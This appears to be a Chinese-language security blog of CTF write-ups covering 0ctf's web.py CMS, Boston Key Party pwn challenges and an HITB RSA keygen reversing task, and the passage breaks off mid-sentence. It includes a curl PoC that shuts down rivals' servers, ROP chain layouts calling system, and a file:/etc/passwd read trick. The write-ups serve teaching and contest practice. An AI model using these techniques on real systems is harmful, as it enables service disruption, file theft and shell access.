2015年5月1日 星期五

講個秘訣 - 0ctf Final 0cms


這次跟著 217 到上海參加由 0ops 舉辦的 0ctf 決賽

總體來說這次是我打過最爽的一次 Attack & Defense 比賽,
尤其 0cms 這個題目滿對我胃口的,考驗快速 Code Review 找洞、快速修洞、快速寫 Exploit 打全場的能力
(好在有 web 題目可以發揮,這次沒有耍廢XDDD)

靠 0cms 刷分刷到第二天幾乎所有隊伍都放棄,把 Web 服務關掉防止失去更多分
直到比賽結束前兩三小時 Blue-Lotus 跟 Freed0m 才把服務修補好重新開啟上線XD

當中針對一個弱點有想到比較不一樣的利用方式特此紀錄一下XD

(紅色=被入侵、深黃色=服務當掉、淺黃色=服務當掉+被入侵)

0cms 是一題以 Webpy 寫的一個線上內容管理系統,配合 SQLite 以及許多個弱點
第一眼看到用到 Webpy 這個 Python framework 就想到烏雲的這篇 新型任意文件读取漏洞的研究,事後比較好像弱點那部分程式碼真的長得差不多XD
不過這次要講的不是它XD


在第 31 行 dispatcher -> __request 的地方有個可以任意引入已知檔案模組的功能
當 URL 是以 /A/B/C

可以執行到類似如下的語法
from A.B import B
B.C()
不過如果伺服器上沒有可控檔案的話幾乎不能做什麼事情
所以大部份人的玩法都是透過 CMS 本身管理功能有提供一個任意檔案上傳,透過上傳一個 .py 檔案到 action 目錄下再透過這個漏洞去執行造成 Remote Code Execution

不過當然這麼明顯的上傳當然馬上就被很多隊伍修補了,
不過任意引用的部分似乎許多隊伍認為是正常功能以及不搭配上傳無法利用所以都沒修補
所以在比賽第一天晚上花了一點時間研究這個任意引用到底還可以做到什麼樣子的利用

限制比較麻煩的是要在 A 目錄下找到 B.py 同時檔案內要有 class B 可用
兒且 A B C 都限定 a-z0-9 且呼叫 C 除了 self instance 外不能指定其他參數

看到這些限制又要可以對網站有實質影響所以最後決定看一下 Webpy 的原始碼
花了一陣子後沒發現什麼,不過在 Attack & Defense 比賽中 DoS 的洞也很有利用價值

再仔細看一下後發現
web/application.py 下有個 class application 符合條件
配合裡面的 stop 可以直接停止 WSGIServer 把別人服務給關閉XD

最後 PoC
curl http://100.64.101.154/web/application/stop

靠著這招在第二天狂刷所有隊伍XD
如此這般,不知道有沒有什麼其他更好利用的方式?


2015年4月13日 星期一

Web 狗沒人權 TAT?





花了很大力氣蒐集了許多資訊,花了幾個月模擬著可能的突破口一個個檢視
終於發現某個網路邊界有 SQL Injection 可以 Getshell 進到內網

結果被說「Web 很簡單,不就 SQL Injection ?」
......

Web終究沒人權


2015年3月2日 星期一

Boston Key Party CTF 2015 [Harvard Square] [Andrew & Broadway] Write-ups



Boston Key Party 是今年 Defcon CTF 的倒數第二場資格賽,
雖然只拿了 第二名 不過由於冠軍的 PPP 已經確定保送所以應該是可以遞補上今年 Defcon 決賽資格!!

比賽幾乎是滿滿的 Pwn 以及 Crypto 而且都是 64-bits 不過看來也是趨勢沒什麼好說的XD
有點慚愧自己 Pwn 的能力太久沒練反而都退步了趁著這次機會好好練習順便學一下想學很久的 Pwntools XD


Harvard Square (Pwn 275)

Harvard 是一個線上 Exploit 購買競標系統,ELF 64-bits with DEP

主要漏洞有兩個
  1. 當在回合內還完自己的負債(owed)以及金錢(money) > 99999999 時名字可進入至排行榜,此時會產生 Buffer Overflow ,不過依照遊戲的規則,要在有限的回合內完成似乎不太可能
  2. 程式開始時有機會輸入 Cheat Code,讀 40 個 bytes 時不過 buffer 只有 24 bytes 所以會覆蓋到 exploit_free 以及 string_free 這兩個 Function Pointer ,這兩個會在後面 gc_free 時候被引用到所以覆蓋 Function Pointer 可以有一次的任意地址跳轉

由於遊戲無法執行到好利用的 Buffer Overflow ,所以比較直觀的想法是利用覆蓋 Function Pointer 跳轉去觸發第一個漏洞

可以成功觸發漏洞後接著就是撰寫 Exploit 的部分,
程式不大加上是 x64 所以很難構造對應的 ROP,嘗試了很久才發現原來題目有提供 glibc 的 Binary ... 不過最後還是在沒有依賴它提供的 GLIBC 下完成 Exploit (否則應該可以省下一半以上的時間...)

首先 Leak Address
[AAAAAA...] + [pop rdi / ret] + [got_of_strlen] + [call puts] 

透過洩漏的地址算出 system 的地址後再進行攻擊
繼續構造
[AAAAAA...] + [pop rdi / ret] + [cmd string address] + [system_address]

這裡比較有趣的事因為 ROP gadget 很少所以想不到甚麼辦法洩漏 address 或是構造參數去 read 弄出 /bin/sh 這個字串
最後終於被我想到XD,由於是使用 system 不是 execve 所以可以不用提供絕對路徑,所以只要送個 sh 就好了,
反正在英文單字中 sh 是很常出現的字根,找個字串結尾是 "sh\x00" 的地址設過去即可!



最後附上完整的 Exploit 



Andrew & Broadway (Pwn 275 & Pwn 275)

Andrew 跟 Broadway 是一樣的題目,只是兩者的目標不同
本來是只有 Andrew 這題只是比賽途中 Andrew 被找出出題者意料外的漏洞造成不用 Shell in 就可以拿到 Flag 所以為了公平性原本的題目就維持著而加開了 Broadway 換了種方式一定得拿到 Shell 才有 Flag

Andrew 是一個編譯好的 x64 Nginx Binary,整個 Binary 很大如果慢慢看一定看不完
但由於 Nginx 編譯是用最新的版本(1.6.2),所以大致可以不用考慮 Nginx 自身的漏洞

簡單摸索一下執行檔發現執行檔在編譯的時候多編進了一個 Nginx Module 
所以大概猜這個 Module 上有記憶體相關的弱點可以拿 Shell 

整個 Module 很簡單,會對傳進來的路徑使用 curl_easy_perform 去下載後判斷類型後進行 prettify, minify, leetfy ... 等處理

正確的解法應該是要想辦法讓路徑被 curl_easy_perform 當成一個合法的 URL 去下載、存取遠端資源,接著在 minify 函數中由於使用 strlen 判斷遠端資源大小後 memory copy 所以可以在遠端資源中用 Null Byte 來繞過大小的檢查產生 Buffer Overflow

由於 Nginx 在處理路徑時的正規化,會將 Double Slash 轉成 Single Slash (http:// -> http:/)
所以這樣的 payload 會失敗
http://ATTACK_SERVER/http://MY_SERVER/payload.html
不過好玩的是,雖然 http:// 轉成 http:/ curl 會不吃,但 file:// 轉成 file:/ curl 居然會吃 ...
curl http:/MY_SERVER
curl ftp:/MY_SERVER
都會失敗但
curl file:/etc/passwd 
這種錯誤的表達方式居然會被接受XD (正確的表達方式應該是 file:///etc/passwd)
所以一出來被用這種方式繞過 Shell 拿到 Flag 後出題者只好重振旗鼓(?) 重出一題xD

新的 Broadway 題目架構一樣不過比較機車的是 Flag 位置不給你了,
所以有了任意讀檔也沒有用非得拿到 Shell 才能翻出 Flag 位置

由於需要有遠端 HTTP Server 配合所以 payload 比較凌亂放上了只給個大致流程XD

觸發漏洞皆使用
GET /MY_IP_ADDRESS:12345/payload.html# HTTP/1.0
至於 payload.html 內一樣分成兩次 Leak Address 以及執行 system

洩漏地址
[Null Byte] + [AAAAAA...] + [ROP of dup2(fd,0)] + [ROP of dup2(fd,0)] + [pop rsi / ret] + [got_of_dup2] + [write address] ...

執行指令
[command] + [Null Byte] + [pop rsi / pop r15 / ret] + [0] + [0] + [xchg eax,ebp / ret] + [pop rax / add rsp, 8  / ret]
 + [system_address] + [0] + [call eax]


最後附上這三題的 Binary 有興趣可以自己摸索XD











2014年12月11日 星期四

103 年資安技能金盾獎


紀錄一下XD

103 年資安技能金盾獎,

台科大 「一輩子的明太子大食團」,冠軍!




(圖文不符,放張圖好像比較有內容點)



2014年10月19日 星期日

Hack in the Box 2014 CTF Writeup - KeygenMe with RSA




這次被以 HITCON 的身份邀請到馬來西亞參加 HITB 2014 CTF,照慣例來寫篇 Write Up

這次結果只有亞軍第二名有點殘念,
第二天下午攻擊程式停了四小時少了幾萬分,不然應該有望第一XD
不過也是經驗,有個自動化攻擊以及送 Flag 的 Framework 真的還滿重要的,沒準備好也是失策XDRZ

HITB 這次是以 Attack & Defense 加上 Jeopardy 形式舉辦,
每個隊伍有一檯實體主機,上面 run 個 Ubuntu 14.04 on VMPlayer
隊伍要想辦法自己取得 root 以及找到服務開啟
到比賽截止前主辦方共放出了 4 個 Daemon 以及 7 個 Challenge

比賽形式是以宇宙機戰的模式進行,
每回合成功 Keep 住 Daemon 獲得 100 生命值,
成功攻擊其他隊伍 Daemon Flag 獲得 200 生命值,
而 Challenges 則是加分項目,成功解開一個獲得 2000 - 3000 不等的生命值



而雖然這次的比賽是以 Attack & Defense 型式進行,
不過各 Daemon 服務比較像是 Reversing & Puzzle 的綜合,
成功解開後 Daemon 會自行讀取 Flag 吐給你,所以整場比賽也都不會用到 Overflow, Shellcode, ROP... 等

另外的 Challenge 則比較偏向 Reversing 以及 Stego 的形式,


這次的 Write Up 就是本次 CTF Challenge 中的一題 Reversing 題目,
雖然本身是 Web 狗、滲透狗,不過在這種對我們不友善的地方還是只能哭著下去看 T_____T


題目是一題 Keygen Me,
標題是 HITB2013KUL 不知道是 Typo Error 還是去年出的題目沒有用上放到今年開XDDDDD



很直觀的就是一個驗證程式要寫出註冊碼,正確會顯示 Correct 錯誤會顯示 Wrong
理所當然使用爆破直接改跳轉點是沒有用的,

二話不說拖進 IDA



一堆臭臭長長的 Function 沒有辨識出來,
OEP 怪怪的不過不影響分析,
Visual C++ 編出來的程式多了一些怪程式區段滿機車的 T___T

使用 GetDlgItemText 可以把關鍵地方定位出來,
仔細觀察發現程式有使用 MIRACL 的 C++ 大數函示庫,
可以從 這篇 文章中將各個函數作用大致識別出來,如 subtract, divide, powmod 等,
如此一來分析輕鬆了許多!

接著花了幾個小時分析,把大致程式邏輯給弄懂如下
(IDA 靜態分析中雖然沒有看到對於 e 的賦值,不過可以透過動態追蹤會發現 e = 17)



看起來是對 Input 進行處理後使用 RSA 加密起來並且最後與密文進行比對,成功則是正確的 Flag!
RSA 依靠大質數保護演算法的安全,其中用到的大質數乘積為
7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
滿短的應該可以很快解出,
丟進 Factordb 中可以馬上分解出
7906961983...49 = 88899280969284710491078307117271523349979587 x 88942923919478497069248398794539034790292827
所以現在有了
p =  88899280969284710491078307117271523349979587
q = 88942923919478497069248398794539034790292827
e = 17
n = 7906961983...49
複習了一下好久沒碰的 RSA,當把 N 解開有了 P 跟 Q 後接下來可以求出 Private Key D 來,這邊使用 rsatool 來用

orange@me:~$ python rsatool.py \
> -p 88899280969284710491078307117271523349979587 \
> -q 88942923919478497069248398794539034790292827 \
> -e 17 \
> -n 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449
Using (p, q) to initialise RSA instance

n =
fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751

e = 17 (0x11)

d =
d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49

p =
3fc8381a552f012766fc3078a07f8103761c3

q =

3fd03c2f3c9b63f9208ee942c904d16536d5b

得到 D 之後就可以解上面要解的密文了!

orange@me:~$ echo 021abe7c17d73978e63835b0e76ad6120f5a3f8148f3de87da6e5b07bf7b76041c78aedf0c | xxd -r -p | python rsacrack.py -d d17e446fa6b70ee2d2e40709fd09afcb92ec72dbe4c3614dcfb8a25b150b817622e58ae49 fe6277ac25de48eedb829ad5458bc32e0dd678c80a123ecd73a54cb08eb719017cc88c751 | xxd -p -c 64

0000000000000000000000000000000000000000000001c2f3db8f478caafc84b10ed113

得到明文 1c2f3db8f478caafc84b10ed113
不過這是運算過後的結果 =___=
所以要根據剛剛的運算弄出逆算法(數學苦手XDRZ)

最後推出
0x1c2f3db8f478caafc84b10ed113 * 66772239585999913610952241123315507216972277506025821^N + 29411180916569003283374190496632319086172136623216324
出來的結果就可以以十進位五個一組五個一組推回原本的 FLAG 
又因為是 mod 的逆運算,根據 N 的值答案可以不只一組( N=1,2,3 ... )

最後得出當 N=1 的時候會有 printable 的解
2385648152415111590458116323765417147676516881603229820532451315251688506013237646763
解碼後為